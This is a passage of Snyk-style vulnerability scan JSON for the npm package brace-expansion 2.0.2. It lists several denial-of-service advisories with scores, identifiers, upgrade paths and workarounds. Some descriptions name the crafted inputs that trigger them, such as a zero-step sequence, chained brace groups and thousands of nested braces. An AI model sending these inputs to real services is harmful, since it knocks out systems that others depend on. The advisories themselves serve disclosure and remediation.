Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
